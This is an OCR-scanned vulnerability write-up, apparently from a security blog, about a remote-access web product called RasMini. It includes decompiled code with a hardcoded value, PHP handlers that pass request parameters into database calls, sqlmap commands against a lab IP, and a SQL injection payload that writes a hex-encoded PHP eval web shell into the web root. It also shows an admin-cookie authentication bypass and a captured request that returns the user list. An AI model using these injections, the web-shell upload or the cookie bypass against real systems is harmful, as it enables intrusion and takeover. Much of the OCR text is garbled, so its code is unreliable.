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7] Functions window 0 & x [(Hmavieal] [ElPseudocodes )  [B]Stack of sub 10005100 [ [5] Strings window ] [0 Hex View-1 [ Strugtures
[ . 13| CHAR szValueBuf[26@]; // [esp+28h] [ebp-114h] BYREF
L -~ H [ [
unction name 14| int viS; // [esp+138h] [ebp-4h]
7] sub_10001000 15
5| *¢ owol " - -8
7] sub_10001020 i; ”.(g[:_ zl? )&HNameBuffer[1] = 8;
vis = 85
7] sub_100010B0 18| if ( sub_18@86518((LPWSTR)NameBuffer, (int)&NameBuffer[1]) >= @ )
7] sub_10001150 S
- 28|  if ( NameBuffer[8] )
7] sub_100011E0 ul g
7] sub 10001270 22 if ( ®(_DWORD *)&NameBuffer[1] }
23 {
a sub_100012C0 24 v5 = (const char **)(*(_DWORD *)&NameBuffer[l] + 4)3
7] sub_100012€0 25 if ( !*(_DWORD =)(*(_DWORD *)&NameBuffer[1] + 4) )
E add_ras_default group 26 *y5 = (const char *)sub_1@@@D3F@(**(LPCWCH **)&NameBuffer[1])s
- 27 V6 = *y5;
7] sub_10001580 8 }
7] sub_10001580 29 else
7] sub 10001500 = o o
Ve =8
7] sub_10001680 32 ¥
E sub 10001750 33 sub_leee394@(al, v&, strlen(ve));
B 34 sub_leeea41@(al, Substr, 1);
7] sub_10001780 s T PR AR T CTa e S AT
7] sub_100017E0 36
7] sub_100019E0 2 2155
?‘ ~ AL e~ v 39 sub_18@83948(al, "RASCOM", 6);
E > P 3 =
_ine 1 of 552 41 sub_186083948( (std: :_String_base *)ai, "1A2b3C4d56.", 11);
8 2 PrCT S IIoEnT = 200
T Graph overview o & x 43 if ( MsiGetPropertyA(hInstall, "INSTALLDIR", szValueBuf, &pcchWalueBuf) )
= a4 {
45 RasLogOutputA(“get_com_install_info:MsiGetProperty INSTALLDIR failed”);
46 if ( *(_DWORD *)&NameBuffer[l] )
47 sub_1000127@(*(void **)&Namesuffer[1]);
48 result = 8;
000052AB sub_100051D0:38 (l00052RAB)
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.rdata:18838516 align 4
.rdata:18838518 aRlaZb3c4dse db 'RlaZb3c4dse.’,@ ; DATA XREF: sub_IEJEJzDISFEﬂ'C
.rdata:18838525 align 4

rdata - 1863IAG2R dd affzet a% 2 -
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std::string::string(vle, vd);

LOBYTE(v13) = 2;

if ((v7 )
sub_1@@B1EF@(v7);

std::string: :string(&va);

LOBYTE(v13) = 3;

if ( !(unsigned _ int8)sub_leeeseee(vin, (int)&w3) )
goto LABEL 13;

w5 = (const char *)va[e];

if ( vI[5] < @xleu )

ws = (const char *)vaj
sprintf(Buffer, "Select U.*,M.* From rasUserMng U,rasuser M Where U.Id = M.ID AND U.ID = ¥s", w5);
std:istring: :string(vll, Buffer);
LOBYTE(v13) = 43
if ( !{unsigned _ int8)sub_18@@BAS@(v1l, a3) )
{
SetlLocalErrium(@xBu, 1u, 8x38u);
LOBYTE(v13) = 3;
std::string: i~string(vil);
LABEL_13:
LOBYTE(v13) = 23

P P PR ST T

(https://xzfile.aliyuncs.com/media/upload/picture/20210701194338-93afa96¢c—
dab1-1.png)

Server/CmxCheckBind.php
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$a = $_GET["a"
$b = $_GET["
$c = $_GET[
$a =

$from = $_GET["from"

f($from = "client")

{

$d = $_GET["d"

$g_RasLoginUsrMng = new COM("RasLoginUsrMng.RasLoginUsrMngObje
1

catch(Exception $e){ ...}

$usrlID;

$sRes;

try

{
$sRes = $g_RasloginUsrMng d($a,$b, $c);
if($sRes#="0")
{
die("eInfo:" . COM_ge or( iMethed: "2"));

}

1
¥

‘Exception $e)
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python3 sqlmap.py -u "http://10.100.100.133:8088/Server/CmxCheckBind.php?
0=1&b=2&c=3&d=4&from=5" --level 5 --risk 3

Server/CmxBindMachine.php
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.php");
.php");

$machineName = $_GET["m"];
if($machineName="")

{

$sUserName = $_GET["
$sUserName = g E ; " $sUserName) ;
$sUserName = r_1 (s : B , "#" §slserName) ;

$sUserName = une ($sUserName);
$machineName = u ($machineName);

if($sUserName="")
{
die("false:invalid
1
)

$usrlID;
$sRes;
try

{

$usrlID = [ $GLOBALS['g_RasLoginUsrMng’] :H1u:3($5UserNdmej )
(https://xzfile.aliyuncs.com/media/upload/picture/20210701194417—-aac9fcbO-

da61-1.png)

python3 sqlmap.py -u "http://10.100.100.133:8088/Server/CmxBindMachine.php?
m=1&b=2&0=3&c=4" --risk 3 --level 5

Server/CmxUserMap_1.php
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y

yinUsrMng.RasLoginUsrMngObj

$sUserName "lyaln, "g" $slserName);
$sUserName 1 [ h: "|¥JJ|", repla "#" $sUserName) ;

$sPassword = $_GET["b"];

$sPassword 3 e arch: "|yJ|", r "&" , $sPassword) ;
$sPassword / LINANILE "#" $sPassword);
$sPassword 1 [ iy "%" $sPassword);
$sPassword _repla 2 : "%2@", rep : "o $cPassword);

$sDomain
$sDomain = s e e( search: "|YJ|", replace: "&", $sDomain);
$sDomain 5 "|¥3J|", r "#" $sDomain);

$sDomain lace( ch: "|Jv|", a "%" $sDomain) ;

$sUserName $sUserName) ;
$sPassword 1d le($sPassword);

$sloginUser = $g_RaslLoginUsrMng- ¢ $sUserName, $sPassword) ;

$sLoginUser 1 [ h: "." re : "|", $sLoginUser);

| ", $sLoginUser);
C L $ary[2D);
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python3 sqlmap.py -u "http://10.100.100.133:8088/Server/CmxUserMap_1.php?
a=0&b=b&c=c"

Server/CmxGetLoginType.php
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$g_RasloginUsrMng = new COM("RasLoginUsrMng.RaslLoginUsrMngObject");
$slUserName = $_GET["a"];

$sUserName = urldecode($sUserName);

$rs = $g_RasLoginUsrMng—

$str = "";

$eley

$pass )
$app = strval($rs["AppLoginType"]);

if($app="0")
{
§str = " . v|n;

else

$str = $pass . "|";
1

$str = $str . $eKey;
echo($str);

catch(Exception $e){
die(" ");

1
J
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http://10.100.100.133:8088/Server/CmxGetLoginType.php?
a=admin%27%20LIMIT%200%2C1%20INT0%200UTFILE%20%27C%3A%2FProgram¥%20Files%20%28x86%29%
2FComexeX%2FRasMini%2Frasweb%2FApache2%2Fhtdocs%2Fsmarty-
2.6.19%2FServer%2Faa.php%27%20LINES%20TERMINATED%2@BY /**/@0x3C3F70687020406576616C282
45F504F53545B2758275D293B3F3E--%20-
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Cookie ‘:F'/?ﬁjjﬂ RAS_Admin_UserInfo_UserName=admin E[JPJLL admin &%

$FileName =

($_SERVER[ ' SCRIPT_FILENAME']1);

+($_COOKIE["RAS_Admin_UserInfo_UserName"]) || $_COOKIE["RAS_Admin_UserInfo_Use
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Go | <|v |

Raw | Params | Headers | Hex

Target: http://10.100.100.133:8088 %| ll

Raw | Headers | Hex | HTML ReﬂderISSTV\NFO[SSTVINFO

SET fServer/CrmxUserphp?pgid=Userlist HTTP/1.1
‘ache-control: no-cache

Jser-agent: sqimap/1.5.5.12#dev (http://sglmap.org)

leferer: htp://10.100.100.133:8088/Server/CmxUserMap_1.php
1ost: 10.100.100.133:8088

‘ookie: RAS_Admin_Userinfo_UserName=admin

\ccept: /%

\ccept-encoding: gzip,deflate

‘onnection: close

<TABLE class="nm-lis
width="100%" bgcolol
<TR><TD><TABLE widtl

border="0" cellspacing="0" cellpadding="0" |D="TABLE_28"

CCCCCC™>

00%" borcler="0" ID="TABLE 29" cellspacing="1" cellpadding="2">
">

">&HR</TD>

"> eley#iig</TD>

"> ISiFRERL < /TD >

"> HEEE < /TD>

*> BB < /TD >

"> REER</TD>

<TD class="nm-heading" WIDTH="14"> </TD>

</TR>

<TR class="nm-row" bgcolor="#FFFFFF" NAME="TR_NAME" ID="TR_1">
" ><AHREF="?pgid=User Show&ID=36">admin</A></TD>
i" ><SPAN ID="usingeKey"> Ripma</SPAN > </TD>
" ><SPAN ID="ApploginType" > Ei@5 < /SPAN > < /TD >
" »<SPAN ID="MachineAmount">&</SPAN></TD>
i" ><SPAN ID="TimeType" > FBRfl </SPAN> </TD>
" ><SPAN ID="LastLoginTime"> </SPAN></TD>
"nm-row" align="right’ width=14> <INPUT TYPE="CHECKBOX" VALUE="36"
NAME="UserlD[1]" ID="UserlD_1"></TD>
</TR>
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